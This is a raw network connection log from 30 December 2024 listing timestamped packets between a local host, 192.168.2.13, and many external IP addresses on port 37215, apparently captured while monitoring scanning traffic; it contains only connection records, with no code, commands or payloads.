Dec 30, 2024 11:58:11.922908068 CET	43984	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.922926903 CET	33866	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.922955990 CET	43984	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.922971010 CET	33866	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.922996044 CET	37215	47766	197.48.134.189	192.168.2.13
Dec 30, 2024 11:58:11.923007011 CET	37215	38030	41.210.149.51	192.168.2.13
Dec 30, 2024 11:58:11.923011065 CET	37215	38286	41.210.149.51	192.168.2.13
Dec 30, 2024 11:58:11.923018932 CET	37215	39362	156.250.109.59	192.168.2.13
Dec 30, 2024 11:58:11.923051119 CET	47766	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.923060894 CET	38286	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.923075914 CET	47766	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.923091888 CET	38286	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.923135042 CET	37215	39618	156.250.109.59	192.168.2.13
Dec 30, 2024 11:58:11.923144102 CET	37215	40210	41.141.148.233	192.168.2.13
Dec 30, 2024 11:58:11.923152924 CET	37215	40466	41.141.148.233	192.168.2.13
Dec 30, 2024 11:58:11.923161030 CET	37215	60652	156.106.7.164	192.168.2.13
Dec 30, 2024 11:58:11.923182011 CET	39618	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.923190117 CET	40466	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.923223019 CET	39618	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.923226118 CET	40466	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.923255920 CET	37215	60908	156.106.7.164	192.168.2.13
Dec 30, 2024 11:58:11.923265934 CET	37215	33706	197.167.251.9	192.168.2.13
Dec 30, 2024 11:58:11.923280954 CET	37215	33962	197.167.251.9	192.168.2.13
Dec 30, 2024 11:58:11.923290968 CET	37215	56840	156.62.208.247	192.168.2.13
Dec 30, 2024 11:58:11.923297882 CET	60908	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.923327923 CET	33962	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.923337936 CET	60908	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.923376083 CET	33962	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.923403978 CET	37215	57096	156.62.208.247	192.168.2.13
Dec 30, 2024 11:58:11.923413992 CET	37215	46288	156.1.25.74	192.168.2.13
Dec 30, 2024 11:58:11.923420906 CET	37215	46544	156.1.25.74	192.168.2.13
Dec 30, 2024 11:58:11.923429966 CET	37215	49374	41.230.55.212	192.168.2.13
Dec 30, 2024 11:58:11.923453093 CET	57096	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.923461914 CET	46544	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.923494101 CET	57096	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.923502922 CET	46544	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.923530102 CET	37215	49630	41.230.55.212	192.168.2.13
Dec 30, 2024 11:58:11.923538923 CET	37215	59052	197.72.57.111	192.168.2.13
Dec 30, 2024 11:58:11.923547983 CET	37215	59308	197.72.57.111	192.168.2.13
Dec 30, 2024 11:58:11.923554897 CET	37215	47536	156.37.37.254	192.168.2.13
Dec 30, 2024 11:58:11.923568010 CET	49630	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.923590899 CET	59308	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.923612118 CET	49630	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.923649073 CET	59308	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.923671007 CET	37215	47792	156.37.37.254	192.168.2.13
Dec 30, 2024 11:58:11.923680067 CET	37215	43156	156.182.174.2	192.168.2.13
Dec 30, 2024 11:58:11.923687935 CET	37215	43412	156.182.174.2	192.168.2.13
Dec 30, 2024 11:58:11.923696041 CET	37215	41528	41.25.20.213	192.168.2.13
Dec 30, 2024 11:58:11.923716068 CET	47792	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.923727036 CET	43412	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.923757076 CET	47792	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.923763037 CET	43412	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.923799038 CET	37215	41784	41.25.20.213	192.168.2.13
Dec 30, 2024 11:58:11.923824072 CET	37215	33576	197.98.70.25	192.168.2.13
Dec 30, 2024 11:58:11.923831940 CET	37215	33832	197.98.70.25	192.168.2.13
Dec 30, 2024 11:58:11.923841000 CET	37215	38472	156.169.69.193	192.168.2.13
Dec 30, 2024 11:58:11.923841000 CET	41784	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.923871040 CET	33832	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.923871040 CET	41784	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.923912048 CET	33832	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.923969030 CET	37215	38728	156.169.69.193	192.168.2.13
Dec 30, 2024 11:58:11.923979044 CET	37215	51208	41.138.140.167	192.168.2.13
Dec 30, 2024 11:58:11.923986912 CET	37215	51464	41.138.140.167	192.168.2.13
Dec 30, 2024 11:58:11.923995018 CET	37215	41286	197.233.170.178	192.168.2.13
Dec 30, 2024 11:58:11.924017906 CET	38728	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.924029112 CET	51464	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.924051046 CET	38728	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.924055099 CET	51464	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.924236059 CET	37215	41542	197.233.170.178	192.168.2.13
Dec 30, 2024 11:58:11.924283981 CET	41542	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.924287081 CET	37215	35636	156.57.133.109	192.168.2.13
Dec 30, 2024 11:58:11.924300909 CET	37215	35892	156.57.133.109	192.168.2.13
Dec 30, 2024 11:58:11.924303055 CET	41542	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.924313068 CET	37215	49880	197.40.169.168	192.168.2.13
Dec 30, 2024 11:58:11.924340963 CET	35892	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.924362898 CET	35892	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.924470901 CET	37215	50136	197.40.169.168	192.168.2.13
Dec 30, 2024 11:58:11.924479961 CET	37215	33398	197.208.52.207	192.168.2.13
Dec 30, 2024 11:58:11.924487114 CET	37215	33654	197.208.52.207	192.168.2.13
Dec 30, 2024 11:58:11.924494982 CET	37215	48846	41.20.164.130	192.168.2.13
Dec 30, 2024 11:58:11.924509048 CET	50136	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.924524069 CET	33654	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.924546957 CET	50136	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.924563885 CET	33654	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.924617052 CET	37215	49102	41.20.164.130	192.168.2.13
Dec 30, 2024 11:58:11.924628973 CET	37215	54148	197.40.63.23	192.168.2.13
Dec 30, 2024 11:58:11.924639940 CET	37215	44426	197.200.79.39	192.168.2.13
Dec 30, 2024 11:58:11.924649000 CET	37215	54476	41.86.123.62	192.168.2.13
Dec 30, 2024 11:58:11.924655914 CET	37215	48454	41.26.102.197	192.168.2.13
Dec 30, 2024 11:58:11.924660921 CET	49102	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.924665928 CET	37215	58134	156.46.182.195	192.168.2.13
Dec 30, 2024 11:58:11.924674988 CET	37215	48316	197.107.33.31	192.168.2.13
Dec 30, 2024 11:58:11.924684048 CET	37215	54404	197.40.63.23	192.168.2.13
Dec 30, 2024 11:58:11.924691916 CET	37215	34228	197.140.83.173	192.168.2.13
Dec 30, 2024 11:58:11.924721003 CET	54404	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.924734116 CET	49102	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.924753904 CET	37215	34484	197.140.83.173	192.168.2.13
Dec 30, 2024 11:58:11.924762964 CET	37215	52096	156.120.92.46	192.168.2.13
Dec 30, 2024 11:58:11.924774885 CET	37215	52352	156.120.92.46	192.168.2.13
Dec 30, 2024 11:58:11.924777031 CET	54404	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.924782991 CET	37215	45746	41.188.10.23	192.168.2.13
Dec 30, 2024 11:58:11.924793959 CET	34484	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.924808979 CET	34484	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.924813986 CET	52352	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.924849987 CET	52352	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.924854994 CET	37215	46002	41.188.10.23	192.168.2.13
Dec 30, 2024 11:58:11.924868107 CET	37215	54974	197.238.132.137	192.168.2.13
Dec 30, 2024 11:58:11.924876928 CET	37215	55230	197.238.132.137	192.168.2.13
Dec 30, 2024 11:58:11.924890995 CET	37215	59270	41.182.67.190	192.168.2.13
Dec 30, 2024 11:58:11.924901009 CET	46002	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.924909115 CET	55230	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.924921036 CET	46002	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.924967051 CET	55230	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.925093889 CET	37215	59526	41.182.67.190	192.168.2.13
Dec 30, 2024 11:58:11.925103903 CET	37215	46334	197.83.90.105	192.168.2.13
Dec 30, 2024 11:58:11.925112009 CET	37215	46590	197.83.90.105	192.168.2.13
Dec 30, 2024 11:58:11.925120115 CET	37215	56244	156.138.243.154	192.168.2.13
Dec 30, 2024 11:58:11.925127983 CET	37215	51118	156.6.89.61	192.168.2.13
Dec 30, 2024 11:58:11.925136089 CET	37215	38630	197.93.238.54	192.168.2.13
Dec 30, 2024 11:58:11.925137043 CET	59526	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.925143003 CET	37215	36410	156.187.73.58	192.168.2.13
Dec 30, 2024 11:58:11.925152063 CET	46590	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.925168037 CET	59526	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.925172091 CET	37215	59564	197.92.141.107	192.168.2.13
Dec 30, 2024 11:58:11.925182104 CET	37215	49152	41.237.172.11	192.168.2.13
Dec 30, 2024 11:58:11.925187111 CET	46590	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.925189972 CET	37215	53306	197.32.32.76	192.168.2.13
Dec 30, 2024 11:58:11.925335884 CET	37215	53562	197.32.32.76	192.168.2.13
Dec 30, 2024 11:58:11.925345898 CET	37215	50776	156.7.96.98	192.168.2.13
Dec 30, 2024 11:58:11.925358057 CET	37215	51032	156.7.96.98	192.168.2.13
Dec 30, 2024 11:58:11.925369024 CET	37215	60050	156.19.18.216	192.168.2.13
Dec 30, 2024 11:58:11.925381899 CET	53562	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.925399065 CET	51032	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.925426960 CET	53562	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.925434113 CET	51032	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.925596952 CET	37215	60306	156.19.18.216	192.168.2.13
Dec 30, 2024 11:58:11.925606012 CET	37215	34142	197.192.128.53	192.168.2.13
Dec 30, 2024 11:58:11.925641060 CET	60306	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.925645113 CET	34142	37215	192.168.2.13	197.192.128.53
Dec 30, 2024 11:58:11.925676107 CET	60306	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.925718069 CET	37215	56144	156.191.93.237	192.168.2.13
Dec 30, 2024 11:58:11.925760984 CET	56144	37215	192.168.2.13	156.191.93.237
Dec 30, 2024 11:58:11.925787926 CET	37215	55292	41.55.65.172	192.168.2.13
Dec 30, 2024 11:58:11.925796986 CET	37215	40418	156.18.92.110	192.168.2.13
Dec 30, 2024 11:58:11.925805092 CET	37215	36048	156.101.247.130	192.168.2.13
Dec 30, 2024 11:58:11.925829887 CET	55292	37215	192.168.2.13	41.55.65.172
Dec 30, 2024 11:58:11.925839901 CET	40418	37215	192.168.2.13	156.18.92.110
Dec 30, 2024 11:58:11.925848007 CET	36048	37215	192.168.2.13	156.101.247.130
Dec 30, 2024 11:58:11.925864935 CET	37215	45324	156.109.241.42	192.168.2.13
Dec 30, 2024 11:58:11.925877094 CET	37215	55900	197.246.49.5	192.168.2.13
Dec 30, 2024 11:58:11.925889969 CET	37215	51884	197.249.88.69	192.168.2.13
Dec 30, 2024 11:58:11.925898075 CET	37215	48752	41.79.84.105	192.168.2.13
Dec 30, 2024 11:58:11.925901890 CET	37215	47042	197.64.75.204	192.168.2.13
Dec 30, 2024 11:58:11.925905943 CET	37215	42692	156.169.191.215	192.168.2.13
Dec 30, 2024 11:58:11.925909042 CET	45324	37215	192.168.2.13	156.109.241.42
Dec 30, 2024 11:58:11.925915003 CET	55900	37215	192.168.2.13	197.246.49.5
Dec 30, 2024 11:58:11.925920963 CET	37215	57672	41.193.220.200	192.168.2.13
Dec 30, 2024 11:58:11.925929070 CET	47042	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:11.925929070 CET	48752	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:11.925932884 CET	37215	47348	197.98.22.62	192.168.2.13
Dec 30, 2024 11:58:11.925934076 CET	51884	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:11.925936937 CET	42692	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:11.925940990 CET	37215	34598	197.79.198.39	192.168.2.13
Dec 30, 2024 11:58:11.925950050 CET	37215	55126	156.116.39.200	192.168.2.13
Dec 30, 2024 11:58:11.925957918 CET	37215	40130	41.224.93.220	192.168.2.13
Dec 30, 2024 11:58:11.925962925 CET	57672	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:11.925962925 CET	47348	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:11.925966978 CET	37215	38668	197.163.40.97	192.168.2.13
Dec 30, 2024 11:58:11.925982952 CET	55126	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:11.925982952 CET	40130	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:11.925986052 CET	34598	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:11.925997972 CET	38668	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:11.926480055 CET	37215	57920	41.97.207.38	192.168.2.13
Dec 30, 2024 11:58:11.926489115 CET	37215	39362	156.250.109.59	192.168.2.13
Dec 30, 2024 11:58:11.926511049 CET	37215	47510	197.48.134.189	192.168.2.13
Dec 30, 2024 11:58:11.926526070 CET	37215	40210	41.141.148.233	192.168.2.13
Dec 30, 2024 11:58:11.926527977 CET	57920	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:11.926534891 CET	37215	38030	41.210.149.51	192.168.2.13
Dec 30, 2024 11:58:11.926553965 CET	37215	33610	41.237.37.41	192.168.2.13
Dec 30, 2024 11:58:11.926563025 CET	37215	43728	197.189.135.34	192.168.2.13
Dec 30, 2024 11:58:11.926570892 CET	37215	33034	41.60.254.232	192.168.2.13
Dec 30, 2024 11:58:11.926578999 CET	37215	38964	41.128.29.173	192.168.2.13
Dec 30, 2024 11:58:11.926584005 CET	37215	42848	197.109.36.50	192.168.2.13
Dec 30, 2024 11:58:11.926608086 CET	33034	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:11.926608086 CET	38964	37215	192.168.2.13	41.128.29.173
Dec 30, 2024 11:58:11.926620007 CET	42848	37215	192.168.2.13	197.109.36.50
Dec 30, 2024 11:58:11.926673889 CET	57920	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:11.926686049 CET	57920	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:11.926716089 CET	37215	46068	197.54.249.204	192.168.2.13
Dec 30, 2024 11:58:11.926724911 CET	37215	49024	156.141.23.114	192.168.2.13
Dec 30, 2024 11:58:11.926733971 CET	37215	54882	156.180.119.226	192.168.2.13
Dec 30, 2024 11:58:11.926743031 CET	37215	45000	197.144.183.161	192.168.2.13
Dec 30, 2024 11:58:11.926747084 CET	37215	49374	41.230.55.212	192.168.2.13
Dec 30, 2024 11:58:11.926753998 CET	46068	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:11.926760912 CET	49024	37215	192.168.2.13	156.141.23.114
Dec 30, 2024 11:58:11.926768064 CET	37215	59052	197.72.57.111	192.168.2.13
Dec 30, 2024 11:58:11.926778078 CET	54882	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:11.926784039 CET	37215	46288	156.1.25.74	192.168.2.13
Dec 30, 2024 11:58:11.926786900 CET	45000	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:11.926795006 CET	37215	41334	197.38.231.199	192.168.2.13
Dec 30, 2024 11:58:11.926808119 CET	37215	44220	41.74.164.208	192.168.2.13
Dec 30, 2024 11:58:11.926816940 CET	37215	45208	197.60.116.58	192.168.2.13
Dec 30, 2024 11:58:11.926824093 CET	37215	37770	156.247.235.165	192.168.2.13
Dec 30, 2024 11:58:11.926829100 CET	41334	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:11.926839113 CET	37215	40782	197.24.201.80	192.168.2.13
Dec 30, 2024 11:58:11.926842928 CET	45208	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:11.926846027 CET	44220	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:11.926848888 CET	37215	45622	41.108.183.127	192.168.2.13
Dec 30, 2024 11:58:11.926857948 CET	37215	39646	41.34.96.228	192.168.2.13
Dec 30, 2024 11:58:11.926862001 CET	37770	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:11.926866055 CET	37215	53634	41.214.248.109	192.168.2.13
Dec 30, 2024 11:58:11.926876068 CET	45622	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:11.926879883 CET	40782	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:11.926886082 CET	37215	53512	156.68.68.240	192.168.2.13
Dec 30, 2024 11:58:11.926888943 CET	53634	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:11.926894903 CET	39646	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:11.926896095 CET	37215	43604	156.101.11.103	192.168.2.13
Dec 30, 2024 11:58:11.926907063 CET	37215	38950	41.26.212.241	192.168.2.13
Dec 30, 2024 11:58:11.926913977 CET	37215	59236	197.124.218.69	192.168.2.13
Dec 30, 2024 11:58:11.926918030 CET	53512	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:11.926923037 CET	37215	35596	156.244.154.48	192.168.2.13
Dec 30, 2024 11:58:11.926930904 CET	43604	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:11.926944971 CET	38950	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:11.926947117 CET	59236	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:11.926953077 CET	37215	43176	41.200.70.248	192.168.2.13
Dec 30, 2024 11:58:11.926959038 CET	35596	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:11.926961899 CET	37215	49396	41.206.210.106	192.168.2.13
Dec 30, 2024 11:58:11.926973104 CET	37215	47844	197.54.40.227	192.168.2.13
Dec 30, 2024 11:58:11.926980972 CET	37215	37804	197.142.229.57	192.168.2.13
Dec 30, 2024 11:58:11.926989079 CET	37215	59796	41.188.197.53	192.168.2.13
Dec 30, 2024 11:58:11.926995039 CET	43176	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:11.926995993 CET	49396	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:11.927000046 CET	47844	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:11.927000999 CET	37215	57084	197.240.32.99	192.168.2.13
Dec 30, 2024 11:58:11.927011967 CET	37804	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:11.927016973 CET	37215	56956	156.21.249.218	192.168.2.13
Dec 30, 2024 11:58:11.927026033 CET	59796	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:11.927027941 CET	37215	49612	41.117.136.128	192.168.2.13
Dec 30, 2024 11:58:11.927037001 CET	37215	42884	197.177.99.168	192.168.2.13
Dec 30, 2024 11:58:11.927042961 CET	57084	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:11.927053928 CET	56956	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:11.927056074 CET	49612	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:11.927068949 CET	42884	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:11.927073002 CET	37215	37128	197.9.236.17	192.168.2.13
Dec 30, 2024 11:58:11.927088022 CET	37215	34770	156.192.234.226	192.168.2.13
Dec 30, 2024 11:58:11.927097082 CET	37215	49708	197.240.74.165	192.168.2.13
Dec 30, 2024 11:58:11.927104950 CET	37215	41044	156.129.228.150	192.168.2.13
Dec 30, 2024 11:58:11.927108049 CET	37128	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:11.927125931 CET	34770	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:11.927129030 CET	37215	46236	197.171.72.135	192.168.2.13
Dec 30, 2024 11:58:11.927138090 CET	37215	39528	197.61.151.147	192.168.2.13
Dec 30, 2024 11:58:11.927143097 CET	49708	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:11.927144051 CET	41044	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:11.927148104 CET	37215	40130	156.7.148.95	192.168.2.13
Dec 30, 2024 11:58:11.927156925 CET	37215	50244	156.130.26.19	192.168.2.13
Dec 30, 2024 11:58:11.927159071 CET	46236	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:11.927167892 CET	39528	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:11.927179098 CET	37215	33944	156.0.240.208	192.168.2.13
Dec 30, 2024 11:58:11.927185059 CET	40130	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:11.927186012 CET	50244	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:11.927195072 CET	37215	49352	156.209.217.158	192.168.2.13
Dec 30, 2024 11:58:11.927210093 CET	37215	54998	156.175.150.37	192.168.2.13
Dec 30, 2024 11:58:11.927220106 CET	33944	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:11.927221060 CET	37215	41542	197.36.89.140	192.168.2.13
Dec 30, 2024 11:58:11.927232981 CET	49352	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:11.927238941 CET	37215	53980	197.211.16.173	192.168.2.13
Dec 30, 2024 11:58:11.927248001 CET	37215	56726	41.195.253.254	192.168.2.13
Dec 30, 2024 11:58:11.927252054 CET	54998	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:11.927252054 CET	41542	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:11.927256107 CET	37215	52132	197.102.24.126	192.168.2.13
Dec 30, 2024 11:58:11.927265882 CET	37215	36874	156.220.73.34	192.168.2.13
Dec 30, 2024 11:58:11.927274942 CET	37215	46560	156.201.245.6	192.168.2.13
Dec 30, 2024 11:58:11.927278042 CET	53980	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:11.927284002 CET	37215	54004	197.195.57.53	192.168.2.13
Dec 30, 2024 11:58:11.927289009 CET	56726	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:11.927298069 CET	52132	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:11.927308083 CET	36874	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:11.927310944 CET	46560	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:11.927320004 CET	37215	47014	156.131.101.202	192.168.2.13
Dec 30, 2024 11:58:11.927326918 CET	54004	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:11.927337885 CET	37215	52440	156.184.181.194	192.168.2.13
Dec 30, 2024 11:58:11.927350044 CET	37215	37596	41.245.134.247	192.168.2.13
Dec 30, 2024 11:58:11.927360058 CET	47014	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:11.927365065 CET	37215	59158	197.39.32.108	192.168.2.13
Dec 30, 2024 11:58:11.927375078 CET	37215	60958	156.244.77.93	192.168.2.13
Dec 30, 2024 11:58:11.927376032 CET	52440	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:11.927385092 CET	37215	46856	41.50.141.94	192.168.2.13
Dec 30, 2024 11:58:11.927386999 CET	37596	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:11.927397966 CET	37215	55512	197.210.230.82	192.168.2.13
Dec 30, 2024 11:58:11.927412033 CET	37215	43442	197.238.194.223	192.168.2.13
Dec 30, 2024 11:58:11.927414894 CET	59158	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:11.927428961 CET	37215	53408	156.106.104.75	192.168.2.13
Dec 30, 2024 11:58:11.927433014 CET	37215	40236	156.13.108.190	192.168.2.13
Dec 30, 2024 11:58:11.927434921 CET	60958	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:11.927434921 CET	46856	37215	192.168.2.13	41.50.141.94
Dec 30, 2024 11:58:11.927448988 CET	55512	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:11.927453041 CET	37215	55742	41.171.127.49	192.168.2.13
Dec 30, 2024 11:58:11.927455902 CET	43442	37215	192.168.2.13	197.238.194.223
Dec 30, 2024 11:58:11.927459955 CET	53408	37215	192.168.2.13	156.106.104.75
Dec 30, 2024 11:58:11.927463055 CET	37215	40144	156.149.182.191	192.168.2.13
Dec 30, 2024 11:58:11.927464962 CET	40236	37215	192.168.2.13	156.13.108.190
Dec 30, 2024 11:58:11.927473068 CET	37215	53908	156.95.34.112	192.168.2.13
Dec 30, 2024 11:58:11.927480936 CET	44114	37215	192.168.2.13	197.184.115.105
Dec 30, 2024 11:58:11.927480936 CET	37215	45012	156.207.249.17	192.168.2.13
Dec 30, 2024 11:58:11.927495003 CET	37215	49558	197.89.105.33	192.168.2.13
Dec 30, 2024 11:58:11.927496910 CET	40144	37215	192.168.2.13	156.149.182.191
Dec 30, 2024 11:58:11.927498102 CET	55742	37215	192.168.2.13	41.171.127.49
Dec 30, 2024 11:58:11.927504063 CET	37215	48296	41.149.131.230	192.168.2.13
Dec 30, 2024 11:58:11.927512884 CET	45012	37215	192.168.2.13	156.207.249.17
Dec 30, 2024 11:58:11.927515030 CET	37215	60112	41.44.163.240	192.168.2.13
Dec 30, 2024 11:58:11.927515030 CET	53908	37215	192.168.2.13	156.95.34.112
Dec 30, 2024 11:58:11.927524090 CET	37215	57184	197.207.205.126	192.168.2.13
Dec 30, 2024 11:58:11.927536011 CET	49558	37215	192.168.2.13	197.89.105.33
Dec 30, 2024 11:58:11.927542925 CET	48296	37215	192.168.2.13	41.149.131.230
Dec 30, 2024 11:58:11.927556038 CET	60112	37215	192.168.2.13	41.44.163.240
Dec 30, 2024 11:58:11.927557945 CET	57184	37215	192.168.2.13	197.207.205.126
Dec 30, 2024 11:58:11.927582979 CET	58012	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:11.928109884 CET	37215	56840	156.62.208.247	192.168.2.13
Dec 30, 2024 11:58:11.928134918 CET	37215	33706	197.167.251.9	192.168.2.13
Dec 30, 2024 11:58:11.928168058 CET	33034	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:11.928179979 CET	33034	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:11.928272963 CET	37215	60652	156.106.7.164	192.168.2.13
Dec 30, 2024 11:58:11.928287983 CET	37215	51218	156.126.95.206	192.168.2.13
Dec 30, 2024 11:58:11.928297043 CET	37215	59270	156.59.224.18	192.168.2.13
Dec 30, 2024 11:58:11.928313971 CET	37215	59542	41.189.121.217	192.168.2.13
Dec 30, 2024 11:58:11.928323030 CET	37215	56500	197.35.235.54	192.168.2.13
Dec 30, 2024 11:58:11.928328037 CET	51218	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:11.928332090 CET	37215	33624	197.188.204.12	192.168.2.13
Dec 30, 2024 11:58:11.928338051 CET	59270	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:11.928342104 CET	37215	33474	197.94.136.42	192.168.2.13
Dec 30, 2024 11:58:11.928356886 CET	37215	38472	156.169.69.193	192.168.2.13
Dec 30, 2024 11:58:11.928363085 CET	59542	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:11.928364992 CET	37215	51208	41.138.140.167	192.168.2.13
